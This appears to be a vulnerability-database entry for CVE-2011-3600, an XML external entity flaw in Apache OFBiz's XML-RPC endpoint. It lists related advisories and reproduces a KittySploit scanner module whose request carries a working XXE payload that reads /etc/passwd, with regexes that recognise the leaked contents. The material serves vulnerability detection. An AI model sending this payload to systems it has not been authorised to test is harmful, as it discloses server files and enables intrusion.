Apache OFBiz - XML External Entity Injection Detection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2011-3600 | 26 Nov 201908:57 | – | circl | |
| Apache OFBiz XML-RPC event handler code issue vulnerability | 25 Nov 201900:00 | – | cnvd | |
| CVE-2011-3600 | 26 Nov 201900:07 | – | cve | |
| CVE-2011-3600 | 26 Nov 201900:07 | – | cvelist | |
| CVE-2011-3600 | 26 Nov 201900:07 | – | debiancve | |
| EUVD-2011-3559 | 7 Oct 202500:30 | – | euvd | |
| Apache OFBiz - XML External Entity Injection | 16 Oct 202602:05 | – | nuclei | |
| CVE-2011-3600 | 26 Nov 201901:15 | – | nvd | |
| Xxe | 26 Nov 201901:15 | – | prion | |
| PT-2019-6676 · Apache · Ofbiz | 26 Nov 201900:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The /webtools/control/xmlrpc endpoint in OFBiz XML-RPC event handler is exposed to External Entity Injection b."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Apache OFBiz - XML External Entity Injection Detection',
'description': 'The /webtools/control/xmlrpc endpoint in OFBiz XML-RPC event handler is exposed to External Entity Injection by passing DOCTYPE declarations with executable payloads that discloses the contents of files in the filesystem. In addition, it can also be used to probe for open network ports, and figure out from returned error messages whether a file exists or not. This affects OFBiz 16.11.01 to 16.11.04.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2011', 'apache', 'ofbiz', 'xxe', 'vuln', 'vkev'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://lists.apache.org/thread/cwz2v0b6pnxvqrnsd0hj3l80g9qq5kd8',
'https://nvd.nist.gov/vuln/detail/CVE-2011-3600',
],
'cve': 'CVE-2011-3600',
}
def run(self):
path = '/webtools/control/xmlrpc'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/xml'}, data='<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file:////etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:', 'faultString',)
if any(re.search(rx, body) for rx in body_regexes):
self.set_info(severity='high', reason='Apache OFBiz - XML External Entity Injection detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 3.17.5
EPSS0.1591